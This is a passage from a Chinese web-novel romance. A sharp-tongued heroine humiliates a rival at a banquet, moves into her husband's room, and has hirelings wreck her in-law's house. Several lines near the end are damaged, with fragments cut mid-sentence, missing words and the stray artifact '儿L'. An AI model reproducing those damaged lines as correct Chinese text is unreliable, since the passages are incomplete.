若是在其他地方,她早就叫下人抓破宓瑶的脸,狠狠教训她一顿了,但偏偏这里是节度使府,她想扇宓瑶巴掌也不能。
不愿处于下风,吴夫人求助地看向了方氏,而方氏则是避开了目光。
有上次赵七娘的教训,方氏是怕了宓瑶那张嘴。
她们都是要脸的体面人,宓瑶则是个颠婆,一张嘴什么都敢说。
方氏避开,潘氏也是一脸的爱莫能助,只是无奈同情地看着吴夫人。
寻不到外援,吴夫人依然不想惨淡离场,这便导致了她后头的被气哭。
“虞氏你自己看看你嫁到益州后闯出了多少祸患!马家与萧府多好的交情,因为你马小娘子缠绵病榻,如今还下不了床,还有益州的其他夫人娘子,因为你说话不过脑子,被旁人恶意揣测,这些都是因为你。”
宓瑶原本还不解这几人找她麻烦是因为什么。
听到这里宓瑶就明白了。
面前这人扯了半天萧柔,见萧柔没法子让她无地自容,就露出了没藏好的尾巴。
“我道你把萧家是当自家是管是因为什么,原来是气我戳穿了赵家兄妹的人品,觉着连累了你被非议。”
宓瑶翘起唇,眼神带了几分刻薄的打量,“所以说你眼神不好,我长得如何,你长得如何,赵家兄妹只是坏又不是瞎,你这般长相的有何好担心。”
见吴夫人气的发抖,宓瑶也没有住嘴的意思,继续道,“你确定旁人非议的是你,不会是听到了所有长得美的都被说了一遍,自以为也是其中一列,把自个也加进去了。”
“你!”
“三嫂,旁人不说你长得普通,可能是因为她们本身也不怎么样,或是忌惮你的身份,但我不同,我叫你一声三嫂,又是大美人,我不会与你说虚的。”
说着,宓瑶还拍了拍吴夫人的肩,就见吴夫人眼眶发红,竟然被她说哭了。
宓瑶怔了怔,她见这人姿态傲慢,还以为是个吵架能手,没想到被说几句长相就能被说哭。
她自个想自个说的话,都不觉得攻击力有多强,而且漏洞极多。
她提长相,对方完全可以说她肤浅,再拿她同为女人把其他女性当做垫脚石,这席上全是女人,甚至扩散一下,说她自视甚高,看不上所有人也能给她拉波仇恨。
当然她也没闲到觉得架不够吵,要教吴夫人如何吵架。
再说现在吴夫人一哭,她就已经被指责的目光集中瞪着。
“觉得三嫂眼光不好是一回事,但她说的私下被谈论却是我没想到的。在场的夫人们都是光明磊落,心地善良的人,我相信你们换做是我,晓得有无辜娘子在遭遇坏人欺负,也同样不会无动于衷。”
若是好人变得难以招架,会让人格外厌恶,但难缠的人突然讲理,则是让人耳目一新,让人升起耐心愿意去听她说的道理。
“本来就是,难不成因为怕嘴上无德的人胡乱非议,就任由恶人作恶?”
席上一位夫人开口道,“我不觉虞夫人做错了什么。”
“我也是这般想,换做我我也会跟虞娘做同样的选择。”鄢妘跟着开口。
席上有了支持她的声音,宓瑶的话就说得更顺畅了:“制止坏人没错,但连累其他无辜的娘子饱受非议却不是好事,三嫂没说时我不知,现在既然知道,就不能放任不管。”
“你要如何?”
听到宓瑶说不能放任不管,有人皱了皱眉,“难不成你要向众人说清都有那些女子受了毒害?”
宓瑶在梅园透露的事情不多,而后汪家人出头,她整个人沉隐了下去。
但就是这样,外面依然在传她手上有一份名单,名单里记录了赵家兄妹对谁下过手。
怀疑的问话让宓瑶接收到猜疑,或是愤怒的目光。
在各种目光下,宓瑶脸上也挂上了浓烈的情绪:“当然不可能,我们女子在世上生存本就比男子艰难,若是不能相互维护帮忙,像我三嫂一样,出了点事不觉得开口非议的人有罪,反倒助长他们的气焰,来指责指出恶人的人,这与做恶人的伥鬼有什么区别。”
听到宓瑶的话,众人纷纷看向伥鬼……不,是吴夫人。
原本吴夫人落泪,得了身边人的安慰,还以为会看到众人教训宓瑶,谁知道宓瑶张嘴侃侃而谈,得到了所有人的关注不说,而且还踩着她胡说八道。
“虞氏你这般侮辱我,以为我是好欺负,我这就去让父君做主!”
吴夫人说完没有立即夺门而出,而是在等宓瑶的反应。
宓瑶则是当做没听到她说话继续道:“我说这些话是想与心存善念,面对不公不会独善其身,能维护同为女子的夫人们组成一个同盟会。这个同盟会里的女子守望相助,若是听到有人非议哪家娘子,便当做是说自家亲人,逮住传谣的小人扔进官府。”
赵天赫处理了赵五郎后,交代过官府严管城内谣言,但官府接了这个任务,也没空天天派人巡逻,看谁在造谣生事,主要还是得靠人报官才能严惩散播谣言者。
但报官的人却寥寥。
因为谣言这个东西并不会随着一两个人被抓而终止,若不抓干净,反而会集中世人的目光。
——“你家报官是不是因为他说的是真的?”
——“你家夫人娘子的确跟赵七娘有交情……”
每家都有女眷,每家都想撇清关系,所以就越来越被桎梏。
宓瑶提出的这个同盟会让不少人眼眸亮了亮,这其中有本就见不得不平的好人,也有家里女眷受灾的家人,一番讨论后,连带那些不想掺和其中的夫人们,被宓瑶一顶顶高帽带上去,也成为同盟会的一员。
其中赵家旁支的两个夫人最为积极。
怕赵天赫因为赵家三房迁怒所有赵家人,她们当然要抓住这个跟三房划清界限的机会。
席上讨论的热火朝天,商量了要如何扩充成员,以及下次在何处见面,等到席宴散去哪还有人记得吴夫人。
因为不停说话,宓瑶喝了一肚子水,一上车就半躺在了软靠上。
萧善以为宓瑶跟她一样吃了许多好吃的,跪坐在旁边积极地给宓瑶揉肚子:“好次!”
宓瑶回摸萧善圆滚滚的肚皮,还真没少吃。
“节度使府的东西那么好吃?”
“点心特别好吃,还有一个花饼饼,里头的馅是甜酱酱。”
萧良跟着露出了自个滚圆的肚肚让宓瑶看。
“有下次我也要坐小孩桌。”
宓瑶拍了下萧良的肚子,疲惫地说道。
她先是被吴夫人打搅,而后又一直说话,后头上的点心一块没碰。
不知道自己错过了什么还好,得知自己错过了好吃的点心她就难受。
“母亲若是想尝点心,这里还有。”
萧翼从怀里拿出帕子包裹的油纸,对上宓瑶的目光,满脸通红道,“孩儿不是不懂规矩,偷拿主人家的东西。是因为善儿胃口小,许多东西喜欢吃但吃一口就吃不下了,她喜欢将吃不完的东西全揣在身上,我怕她弄得一身脏,就准备了油纸,帮她放几个她最喜欢吃的东西。”
油纸里放了两个鲜花饼,萧翼递到宓瑶面前,“一个是善儿的,一个是我见她喜欢留下的,母亲想尝就尝我的。”
“我的也给!”
萧善在旁大方道。
见大哥与妹妹这样,萧良低头看自己的肚子,他的那一份都在肚子里,该怎么给阿娘?
宓瑶没拒绝兄妹的心意,拿起饼尝了一口,果真味道不错,起酥的功夫比家里的厨子强。
吃了饼,宓瑶不忘夸奖萧翼性子沉稳仔细,是个呵护弟弟妹妹的好孩子。
萧翼被夸的脸红,等到下车时萧良发现大哥脚步摇晃,不由问道:“大哥是怎么了?娘吃了你的点心后里你就怪怪的。”
闻言,萧翼看了眼不远处的宓瑶,连忙摇头,“我无事,困了才脚*走得不顺,等回屋子睡一觉就好了。”
“那就好。”
萧良看向往岔路另一边越走越远的宓瑶,叹了口气,“真羡慕善儿能与阿娘一起睡,周嬷嬷说善儿能与阿娘一起睡是因为善儿是小娘子,大哥,我也想当小娘子。”
听到弟弟乱说话,萧翼无奈:“你生来就是郎君,怎么当小娘子。”
“周嬷嬷说有鸟鸟就是郎君,要是我没有了不就没有了。”
萧翼还没回答,就听到萧良继续道,“阿爹有时也会跟阿娘一起睡,是不是因为他没有鸟鸟啊?”
萧良好奇地朝萧翼问道。
这事萧翼也不知,但他已经习惯在弟弟妹妹面前担当什么都知晓的聪明哥哥,他迟疑道:“应当是。”
而此时他们没有鸟儿的阿爹,正与宓瑶在路上碰见,一同在回主院的路上。
嗅到萧欻身上的酒味,宓瑶对上他如常的面色,也不知道他是没喝多少,只是衣裳上沾了酒才有那么大的味,还是他酒量惊人喝酒一点都不上脸。
反正不管怎么样,都不影响她噘嘴告状:“萧郎你是怎么答应我的?分明说好一有人欺负我,你就出面保护我,今个我都被欺负成什么样了,你也不来,我差点都被欺辱哭了。”
“谁能欺负你。”
萧欻的嗓音要比平时低哑,仔细语调也变得有几分缓慢,只是这缓慢被宓瑶认为是他刻意展现的嘲弄。
“谁都能欺负我,我就是一朵柔弱无助,需要怜惜呵护的娇花。”
遇到萧欻时,宓瑶就让诗雅先把萧善抱去换衣,这会就两人在这,她说话就没什么顾忌。
萧欻睨了她一眼,她此时脸上泛着一层浅浅的粉色,看着的确挺娇。
“郎君你说句话啊!”
见萧欻光看她不说话,宓瑶扯了扯他的衣摆。
“等会我换上夜行衣蒙面,去帮你把人痛揍一顿。”
“当真?”
萧欻颔首,嘴角微挑:“你梦中会看到完整过程。”
宓瑶:……
知晓萧欻说揍人是说笑,但听到他揶揄的话,她依然很想锤他一拳。
之后的几步,两人都没说话,宓瑶安静地走到房门口后,感觉身边还是弥漫了一股酒味,不禁转身看着跟着她的萧欻。
疑惑地看着他:“郎君有事?”
骑马加上这一路走到院子里的冷风让半醉的萧欻脑子发沉,他小弧度地甩了甩头,伸手搭在了宓瑶身后的门柱上。
缓了缓才垂眸瞧向皱着鼻子,嫌弃他身上酒味的宓瑶。
“让下人收拾你的东西,把你的东西搬回正房。”
宓瑶的注意力原本都在萧欻身上的酒味,他说完后,两个呼吸间才反应过来他说了什么。
她眼睛倏然瞪大:“啊?”
第37章 第三十七章【VIP】
宓瑶怀疑自己的耳朵,把她赶出正房的是他,现在让她回去的也是他。
他是脑子有什么毛病吧?
若是一开始两人就睡在一起,她不觉有什么,但如今她都习惯享受独属于自己的屋子了,让她再跟萧欻同房,她怕她晚上会在他睡着之后忍不住把他踹下床。
“郎君是喝醉了?在说醉话?”
宓瑶小心翼翼地问道,因为过度期待想听到的答案,她呼吸都放轻了许多。
“我没喝醉。”
触到宓瑶脸上的不愿,萧欻冷声打破了她的幻想。
他就知她说的那些好听话都是敷衍,她若是心中真爱慕他,觉得他伟岸又怎么会对他避之不及。
萧欻嘴上说没醉,但知道自个已经有些昏头。
要不然怎么会脑子突然涌出大堆无用的废话,并且这些废话还有破口而出的迹象。
用力闭了闭眼,萧欻再睁眼眼中多了几分清明:“明日我要去接你兄长一家,他们在萧府的日子,我们同住正房。”
意思是说同房只是暂时的?
听到萧欻的解释,宓瑶舒了一口气:“没想到阿兄就要到了,上次与他通信,还以为他与嫂子要十五之后才到益州。”
原主的嫡亲兄长虞少阳在原主还小的时候,就千里迢迢去了上京求学,一年回不了几次虞家。
而只要他回家就会给原主带许多礼物,细细询问原主的身边人,怕他不在府邸时有人欺负他一母同胞的妹妹。
书里面原主嫁给男主后,在朝廷郁郁不得志的虞少阳就调职来了益州,虞少阳擅长内政,在朝廷任从五品度支司郎中,因为不愿意掺和进官僚之间的党.派之争,所以被排挤到了权利外圈。
来到益州后,他得到了赵天赫的重用,隐隐有剑南内政一把手的说法。
也就是有虞少阳当底气,原主的胆子才越来越大,觉着萧欻算不得什么。
之后原主做错事,虞少阳知道了事情始末,明白这事错在原主,原主的死是咎由自取。
但就是这样,他也不愿为杀死原主的萧欻效力,选择离开了益州。
离开之后他本想归隐山林,过不问世事的简单日子,可惜还是强行被冯家招揽,给萧欻添了一些乱后,死在了萧欻的势力之下。
所以他们兄妹俩按着剧情来说都死在了萧欻手上,却打算以后都在他手下讨生活,何尝不是一种大无畏的英雄气概。
当然被妹坑的虞少阳是被动地拥有了无畏精神。
宓瑶不记得小说里虞少阳来益州时,男主有没有跟原主同房装样子,但这会萧欻既然提了,那她就给他一个面子配合他。
回到屋里后,她没耽搁就吩咐了侍女把她的东西搬到正房。
也不用多搬,反正白日她还会在间屋子活动。
主要她的床垫要移过去,萧欻若是喜欢睡硬床,那她就只垫她那一半。
“阿娘,不要!”
萧善本来都要睡了,听到动静坐起来,就见宓瑶的东西被搬出房屋,她瘪着嘴,眼眶水润,“爹坏!”
那么大的人了还跟她抢娘亲,简直是坏死了。
“你先回听松院住,等到往后有机会,我再陪你一起睡。”
宓瑶捏了捏萧善的包子脸,说完想到什么,开口又提了另一个选择,“当然你若是舍不得我,也可以同我一起去你阿爹的屋里睡觉。”
闻言,萧善歪了歪头:“真的?”
见宓瑶点头,萧善皱起了眉毛有些纠结。
她不想跟萧欻一起睡,可她想跟娘亲睡,在不想跟想之间衡量了半晌,她决定抱着小被被跟宓瑶去萧欻的屋子。
只是她进门还没片刻,就被萧欻连人带床赶出了寝卧。
看着自个的小床被扔到了院子里,萧善气呼呼地叉腰,鼓足了气大声吼道:“坏,爹大坏蛋!”
门扉紧闭,宓瑶都还能听到萧善愤怒的怒吼。
“善儿还小,跟我们睡没有什么,再说她有自个的小床,也不必担心跟我们同睡一床,被我们翻身不小心压到。”
宓瑶语调无辜地说道,说完就听到了萧欻的轻嗤。
她看过去,萧欻已经沐浴换了身衣裳,头发放在暖炉边上在烘干,而手上拿了本册子低眸在看。
说来奇怪,他一身酒味的时候面色如常,这会儿酒味被洗掉了,眼下反而泛起潮红,看起来有几分醉汉的模样。
瞧他这个样子,宓瑶拢了拢身上的衣裳,真怕他酒意上头,兴致来了让昨天的事重演一遍。
现在回想她都没想明白,虞琇做错了事怎么就成了她赔罪,而且进一寸这样离谱的赔罪方式,他又是怎么能当正经事来执行的。
到,估计落在床上的那点血,还真是她那块膜。
说起来她还真该庆幸有那个膜在,萧欻会停下就是因为发现自个沾了血,才把她的抗拒当回事,没不停拿着尺子说他之前进了多少,现在加一寸又该是多少。
“萧郎你在男人那边的席上不晓得,欺辱我的。”
了萧欻突然来兴致,宓瑶开始给他“降温”,“她提起了你阿姐,说你们是世上最亲密的亲人,让我劝你们解开误会,不该”
宓瑶在与萧欻成亲那日在喜房见到萧柔,才晓得萧欻有那么一个同胞姐姐。
,还是在虞琇汇聚的各类八卦里,补足了萧欻对萧柔冷漠的缘由。
萧柔比萧欻大五岁,在萧欻还在翼州从军时与人私奔。
她私奔的那人就是她现在的相公,萧母之所以不同意两人成婚,就是觉着那人家风不正,对萧柔并非真心。
而萧柔却觉得萧母说这些是见大哥嫂子都不在了,想把她留在家里当老姑娘照顾侄子侄女。
除此之外加上满心都是情郎,她便一跑了之,去了情郎家里当对方没名没分的“妻子”。
这样的没名没分一直延续到了萧欻立了军功,被赵天赫收为养子后,萧柔才得了一场风光的喜宴。
只是有了喜宴,这桩婚事萧家依然不认。
萧欻回益州后,去萧柔夫家抓过萧柔,让她和离回家,但萧柔不愿,说她生死已经跟萧家无关,她以后都是董家人。
见她铁了心,萧欻没再勉强,丢下了一句一切如她所愿,就不在理会董家与萧柔。
这些年对萧柔的态度也只是在她祭拜父母时,不会把她赶走。
就是这般董家人依然没有放弃跟萧欻交好,只要有机会就试探萧欻的态度,之前宓瑶嫁入萧欻的婚宴并没有邀萧柔,发现萧欻没有拦萧柔踏进萧府,董家以为萧欻改变了态度,就有了前两日董贾陪萧柔初二回门吃闭门羹的事。
清楚萧欻对萧柔这个姐姐感情复杂,宓瑶选择了用萧柔让萧欻兴致全无。
果真她说完,萧欻脸上就挂上了冰霜。
“吃喝睡觉还不够你忙?你若是闲着无事,就去与人吵架,少管这些与你无关的闲事。”
这还用他来交代她?
她是对孩子容易心软,至于其他人她才不管他们姓什么,跟萧欻有什么误会。
“郎君这话说得可就不懂我了,我每日吃喝玩乐分明很忙,哪儿会闲着无事。至于管旁人的闲事,郎君放心,我是最听你的话了,你让我怎么样我就怎么样,只是三嫂啰里啰嗦说了许多遍,不然你看在她的面子上去给阿姐认个错,好与她和好如初。”
宓瑶还没说完就收获了萧欻犹如刮骨的煞气凝视,晓得这把妥了,她二话不说脱了外裳上榻睡觉。
她快速的样子,让萧欻把要说的话堵到了嗓子眼。
想明白她惹怒他是为了什么,萧欻煞气满满地扯了扯唇,直想把她衣服扒了,教她晓得男人不管处在什么情绪中都不妨碍他们大发兽.性。
可惜宓瑶已经躺下看不到他的神色。
宓瑶睡在内侧,被褥都换上了她惯用的,相比萧欻的被子,她的软衾要更厚实柔软,上头还熏了她喜欢的花香气味。
躺下后她觉得烛火晃眼,就拉下了遮挡的帐幔。
光线被隔绝,哪怕知道萧欻就在外头,她依然没一会就生了睡意。
等到萧欻头发晾干走到床榻时,宓瑶已经睡得人事不知,萧欻嫌她被子的绣纹花哨,且占了榻上太多位置,捏了她的鼻子,也没见她睁眼转醒。
*
“你在做什么?”
低垂的青色帐幔隔绝了大部分光线,宓瑶睁眼看向发出动静的地方,一看吓了一跳。
她推了推萧欻黑乎乎的脑袋,“郎君,你就是对我的身子爱不释手,也要有些底线吧!我都睡着了,你还钻我被子。”
萧欻抬起头,就是没什么亮光,宓瑶也觉察到了他因为她的话面沉如水。
“我闻到了腥味。”
听到这话宓瑶脸也黑了,他这人占不到便宜就占不到便宜吧,侮辱她体味发腥是怎么回事,他才腥呢!
浓郁的石楠花味道就跟死鱼一样。
宓瑶正酝酿着反击,就听到萧欻继续开口:“你流血了,为什么?”
听到流血,宓瑶反应过来,掀开被子,果真看到了垫毯上的血迹。
也不怪她没有防备,算了算她这一次提前六七天。
“为什么?”
见宓瑶看到血迹面色如常,萧欻更确定这血不是什么大不了的事情,他隐隐有猜测但不确定,所以又问了一遍。
“我这是癸水,女子每个月都会来几日,郎君不知道吗?”
萧欻听过癸水,但知晓的不是那么清楚:“每个月几日都出血?所以前两日你流的那个血是这个?”
“按道理我还有六七日才会来癸水,所以说不定是郎君你捅得太用力,我受伤便提前来了。”
宓瑶抓住所有机会让萧欻知晓他那玩意伤害性极大。
下了床榻,宓瑶看了眼漏钟发现快天亮了:“郎君要去晨练了吧?你既然不睡了,我就让下人过来收拾。”
她昨晚闭眼要睡觉时突然想到,虞少阳又不是已经到了,要是为了做戏,她干嘛要提前一日跟萧欻睡到一块。
触到萧欻皱起的眉心,宓瑶想了想:“若是郎君觉得这个晦气,我这些日子回自个房里睡也没事,若是我兄长有疑问,我跟我嫂子提一嘴就好。”
“为何晦气?”
萧欻听到晦气这词,想起了在军中那些兵痞说的荤段子,“旁人觉得女子来癸水倒霉晦气,是因为女子癸水在身不能伺候男子,我既不打算强迫你,怎么会晦气。”
虽然萧欻脸上漠然的神色看起来欠揍,但说出的话倒是让宓瑶心情好了一些。
哪怕她自贬是为了轻松自在,但听到萧欻不赞同她的贬低,反倒攻击提出这个说法的人,她还是会觉得舒心。
“萧郎我就晓得你与那些不把女子当人的坏男人不同,你最最好了。”
宓瑶披上遮风的大氅,走之前靠近萧欻胸膛蹭了蹭。
因为视线朝下,所以她清楚地看见她惧怕的那玩意从中型分量变成了巨型形状。
宓瑶:……
萧欻大约也觉着尴尬,主动退了一步主动避开:“你不是要回你屋子休息,还不快走。”
宓瑶立马动了起来,溜得飞快。
原本宓瑶以为萧欻说的去接虞少阳一家,是去城门外迎一迎,等他走后濮青一说,她才知道萧欻是去剑门关附近接人。
估计是接了公务要顺便去巡查办事。
一听他这一来一回至少要四五天,她更确定昨日他是喝醉失了智,要不然虞少阳还有那么多天才到,他让她收拾东西去睡他屋子做什么。
只能说是醉后吐真言,他装的不为她所动,实际上十分想与她困觉。
“夫人,大娘子与她夫婿在府外头,说想来看看你。”
“你说谁?”
宓瑶懒洋洋地抱着个汤婆子窝在软榻上,听到诗雅通报,疑惑了下,听到说是萧柔,她无语了片刻。
“他们倒是会抓时辰,知道镇使出了城,就过来为难我。”
至于能那么准确的抓机会,她不觉得是萧柔那个夫婿的本事,不若他之前早就来纠缠她了。
想了想应该是她那个“三嫂”弄出来的。
吴夫人在节度使府吃了那么大一个亏,若是直接忍气吞声了,那反而不对劲。
不过她就不能想些新招数,非要围着萧柔打转。
“夫人要不然见他们一面,随便给他们一些东西再把他们打发走。”
诗雅建议道,见宓瑶看她,她解释道,“大娘子的夫婿让门房通传时,与门房说外头不少闲人传夫人不贤惠,他们特意来这趟就是为了证明夫人是大度的弟媳,不是容不得娘家姑子的恶毒女子。”
“这还威胁上我了。”
宓瑶翘了翘唇,“我若是放了他们进来,镇使会觉得我多事,要挨镇使的白眼,而我不见他们就是为妻不贤,德行有亏。”
“所以夫人觉得?”诗雅听主子那么说,都跟着苦恼起来,觉得两边都难选择。
“可惜我这个人最不在乎旁人如何说我,镇使都不给面子的人,我凑什么热闹。”
喜房那次看到萧柔她并不反感,听到关于萧柔的那些往事,她也没什么高高在上指点江山的想法,她这个人最好的一点就是懂的尊重别人选择。
董贾站在萧家大门外笑容满面,见通传的人久久不出,朝门房说道:“外头那么大的风,不若让我们去府里面等着,我娘子是你们府的大姑子,我是萧镇使的姐夫,难不成弟妹还能不见我们不成。”
想着终于能进萧府的大门,董贾眉眼带了分得意,但门房却不给他这个面子。
“大娘子与姑爷还是在外面等等吧,没有夫人的吩咐,小的不敢放你们进去。”
门房刚说完,就见通传的侍女急匆匆地赶来。
“夫人身体不适,大娘子与姑爷还是等镇使回府后再来吧。”
听到这话,董贾脸色一变,没想到萧欻不在,宓瑶也敢这样对他们。
“你可有把我的话完整告诉弟妹,我们是来解释旁人对她的误会。”
“请大娘子和姑爷快走吧,天寒地冻,不要冻伤了身子。”
侍女没回董贾的话,说完就示意门房关门,她回主院回话。
见崭新气派的大门在眼前关上,董贾气得想狠踹大门,但想到萧欻的脾气,他还是收回了腿。
当年萧欻到董家要人对他动过手,那时若不是萧柔求情,他觉得自个会死在萧欻的拳脚之下。
那次他虽然逃过一劫,却是在床上躺了半个月才能下榻。
他是真怕萧欻那个阎王,也是真眼馋萧家的权势。
要是他跟萧家的权势扯不上关系就算了,但他偏偏娶了萧家的女儿,成了萧欻的姐夫。
凭什么萧欻一家住那么好的府邸,他们一家却是挤在狭窄破旧的老宅子里。
“你不是说虞氏脾气好!”
想到连门房婢女这般下贱的奴才都敢给他脸色看,董贾不满地看向萧柔。
还在过年期间,萧柔脸上却没有多少喜意,反倒被身上的新衣衬得一脸憔悴。
听到董贾的问话,她抿了抿唇:“我那次只是在喜房里短暂地见了她一面,她看着是个好的。”
“一面能看出个什么!我说你就是傻,那次你进萧家没被赶走,你怎么不晓得跟你弟弟说新妇进门,你不放心侄子侄女,要留下来照顾他们,怎么就灰溜溜的走了。”
自董贾知道了萧欻是真不管萧柔这个姐姐,就常说这些难听话,萧柔早就听习惯了。
她张嘴重复了已经说过无数遍的解释:“府里没人理我,也没人安排我可以住下的地方。”
最重要的是这些年下来董贾已经渐渐淡忘了萧欻对他的狠戾,开始想沾萧家的光,但她却越来越怕萧欻这个弟弟,不敢与他见面。
“没人安排你不会让人安排,难不成你弟弟还能让你睡在地上。”董贾没好气地说道。
“若是有下次机会我一定听你的,现在我们回去吧……”
“回什么回!见不着虞氏我们就在这里站到死,我就不信虞氏会任由我们一直在这里站着。”
现实就是宓瑶还真就任由他们站着。
她在榻上看书看一会看睡着了,等到醒来又继续看,等到晚上用了晚膳,听到虞琇提起才晓得两人在门外站了三个时辰,他们用饭前在刚刚离开。
“那姓董的就是个厚脸皮,阿姊都说不见他们了,还在门口赖着不走,想让其他人看热闹。”
虞琇特意挑了饭后说这事,就是怕三个萝卜听到,想见萧柔这个姑姑。
“阿姊,我觉着他们明日还会来,萧大娘子毕竟是二郎和小娘子的亲姑姑,他们不知晓还好,若是往后有心人在他们面前胡言乱语,让他们误会阿姊就不好了。”
虽然觉得他们要是误会离她远一点也没什么,但瞧见虞琇认真揣摩,宓瑶不由觉得权利改变人的速度太快,她这才跟霜华学两天,就多了几分以往没有的朝气,把受罚的戒尺忘在了一边。
“既是这样,你觉得该如何应对?”
“我方才去偷听了董家那人与萧大娘子的对话,觉得萧大娘子并不想来,是被夫君带过来,所以我们只需要给董家那人一个教训,他往后就不敢来了。”
董贾不敢在萧欻在府时胡搅蛮缠,不就是觉得她家阿姊好欺负,这般让他知道阿姊不好欺负不就行了。
虞琇觉得这是个杜绝董贾继续在萧家当门神的办法,但又怕自个的想法太激进。
所以说完后,她瞧着阿姊,等着阿姊来评判。
“你这办法不错。”
宓瑶本不想管董贾和萧柔吹冷风,但想到虞少阳就要过来,萧府大门还是清净一点好,“你去找濮青,让他安排几个人,若是明天他们两人还来,就去把董家砸了。”
“我这就去。”
虞琇喜欢这般简单粗暴的方式,喜气洋洋地去找濮青,等到隔日董贾和萧柔果真又来了。
这次萧柔脸色比昨日还难看,唇色苍白,看着不是生病也离生病不远。
“这姓董的可真恶心,估摸着是想萧大姑在萧家大门外晕倒,好让阿姊不得不抬人进府,濮青也是,怎么动作那么慢!”
虞琇边透过门缝看门外的董贾两口子,一边念叨濮青,算是凑巧她刚说完,就见有人去董贾面前说了几句,董贾脸色大变,急匆匆地跑了。
他一走,萧柔站立不稳地跟上,虞琇瞧着可怜,但去跟宓瑶回话时没说这事。
萧柔就是可怜也是自找的,她打听的时候听说,萧柔那时候不愿留在萧家,是不想照顾侄子侄女,但她跟董贾私奔后也没过上什么好日子。
董贾父母都在,还有许多弟弟妹妹,萧柔到了董家就是做长工去的。
萧欻去董家把她带走的前一个月,她才因为被董婆子磋磨落了一个孩子,就是这般她还不走。
选择错了就是错了,自个家人愿意包容,还硬着那口气非要坚持错误的选择,落到如今这个下场谁也救不了她。
第38章 第三十八章【VIP】
“天杀的,还有没有王法了,这是要我们的命啊!”
董贾与萧柔回到董家时,董家已经被砸的稀巴烂,董老娘坐在地上哭天喊地,周围都是看热闹邻居,没一个人上前帮忙。
见家门都被踹烂了,董贾大吼道:“你们知道我是谁,敢来我家撒野!”
吼完不忘看向周围的邻居们,“都说远亲不如近邻,你们就在这里看热闹?是忘了我娘子姓什么。”
邻居们没想到看个热闹火还烧到了自己身上。
听到董贾想求他们帮忙,还一副高高在上的态度,最前头的中年男人呸了一声:“你们家四郎白吃白喝拿人家东西,现在人家找上门,还想我们帮你们家出头。”
“我们那能不知道你娘子姓什么,你倒是去找萧镇使来啊,叫我们有什么用。”
“听说昨个你们去萧府门口站了半天,连大门都没进去……”
董贾还要再说,就见那几个打砸董家的壮汉,其中一人扬起了手。
那人手还没落下董贾就闭眼抱头坐在了地上,嘴里不住地大喊饶命。
见状,几人哈哈大笑:“老婆子,这就是你说的威风凛凛能让我们好看的董大郎?你要是想指望儿L子,我看你只能想法子再生一个了,这个可靠不住。”
“你们这些丧天良的瘟货,可知道我儿L媳是谁,益州城大名鼎鼎的萧镇使就是她的亲弟弟,我儿L和儿L媳才从萧府回来,你们不怕死就在这里别动,等着萧镇使派人来抓你们!”
董老娘没管趴在地上的儿L子,躲在萧柔的身后,把她推向那几个人。
萧柔咬着唇,看出这几人来者不善,却不想顺着董老娘开口,说自己跟萧欻有什么关系。
“哦,我们倒是听过萧镇使有个亲生姐姐,但萧镇使可没把这个姐姐当回事,你们若是要点脸皮,就不该大过年的去萧府门口碍眼。”
董老娘和董贾没听出来什么,依然不停用他们是萧欻亲戚这事来威胁几个人,但萧柔却听出了几人的意思,这几人应该就是萧府派来的人。
萧柔脸又青又白:“你们走吧,我们以后不会去了。”
“走什么走,砸了我们家那么多东西,怎么能让他们轻易的走了,我们要报官,你们若是不赔白两银子就等着进大牢吧!”
董贾因为方才的蠢样感到丢人,这会儿L霸道地拦在几人面前,扬着脖子想挽回颜面。
可惜来人既不怕他也不怕报官,纷纷举起了拳头,这会儿L他们不是装样子,而是真抬手给了他一顿。
看热闹的人见真打起来了,也没人上前帮手,可见董家平时多惹人厌恶。
董老娘没想到萧柔在他们还敢打人,见萧柔像个木桩子一样站着不动,她吼道:“你不去帮你男人,想让他们把大郎打死不成!你扑上去,他们不敢打你。”
见萧柔听话扑到董贾的身上,几人还真停手了。
宓瑶的命令是砸董家,如果董贾阻拦,把他打得几天下不得床也无事,但对于萧柔,宓瑶特意嘱咐别碰到分毫。
然而就算宓瑶不交代,他们也不敢动萧柔。
主子再不搭理萧柔,萧柔依然是主子的血脉亲人,跟董家这些没脸没皮的人不一样。
“今个爷心情好,打你这一顿,董四欠的银子就先不要了,要让爷知道你们又做了什么碍眼的事,可不是砸东西打几拳就能了事。”
几人说完大步离开,董老娘见人都走了萧柔还傻愣愣地趴在她儿L身上,气得一把她推开:“你想把我儿L压死不成。”
“董婆子,你这翻脸无情的速度也太快了,刚刚要不是萧娘,他们可不会住手。”
有人看不惯董老娘,出言帮萧柔说了句。
“呸,我家的事关你什么事,管你自家媳妇去!”
那人还要跟董老娘吵,但见萧柔已经扶董贾往屋子里走,一个愿打一个愿挨,她撇了撇嘴也不再看热闹。
“他们说是四郎欠了银子,这是怎么回事?”
进屋后,看着满地的狼藉,萧柔朝董老娘问道。
“还不是因为你!”
听到萧柔的问话,董老娘愤恨道,“那几个人骗四郎说知道他是你弟的亲戚,想要讨好他,又是给他银子,又是带他去酒楼吃饭,谁知道东西一吃他们就翻脸不认人,开口就让四郎还银子,四郎哪里有银子。”
躲在屋里瑟瑟发抖的董四郎见人走了,连忙点头道:“都怪大嫂你,他们定然是跟你弟弟有仇,冲着你弟弟来骗我。”
“…”
“说是你的错就是你的错,四郎才多大,哪懂
家里面被砸,董老事,但听到萧柔训斥自己的儿L子,她连忙护子,“若是你有本事,没有惹怒你那弟弟,的罪。”
晓,萧柔本就觉得羞耻,听着董老娘絮叨的骂声,嘴皮子掀了掀,弟,是因为我不愿与大郎和离。”
她这话落下,屋中所有人都看向了她。
董老娘最先开口怒斥:“你这是什么意思?难不成你还要跟我儿L和离?你说说你当年死皮赖脸地与我儿L私奔,我家对你哪里不好,我儿L又是给你做新衣服,又是给你买胭脂,我养他那么大,他何曾那么对过我,若是放在别人家私奔的女人是要浸猪笼的,我家却明媒正娶了你,你还有什么不满?!”
“嫂子你可不能忘本,你看你把我家害成这样,还让我大哥遭了打,我们都没让大哥休了你。”
董四郎在旁边说道,“我们家对你够好了。”
他恨因为萧柔让他今日遭受了无妄之灾,但听到她说和离,还是觉得害怕。
有萧柔在董家一日,萧欻总是会变,他们总有一天能过上好日子,但是萧柔不在,他们要如何才能跟萧欻这样的大人物攀上关系。
董家其他人也与董四郎想的差不多,董贾受了拳打脚踢,原本有一肚子话想骂的话,触到萧柔面上的冷淡瞬间把话吞进了肚里,朝董家人使了使眼色,让他们先退开。
“柔儿L,我晓得气我逼你去萧府,但我还不是因为知道你打心里想与你阿弟和好,想见你的侄子侄女。”
董贾鼻青脸肿的脸配上他要死不活的语调,看着有几分真诚。
可惜萧柔早就习惯他这幅模样。
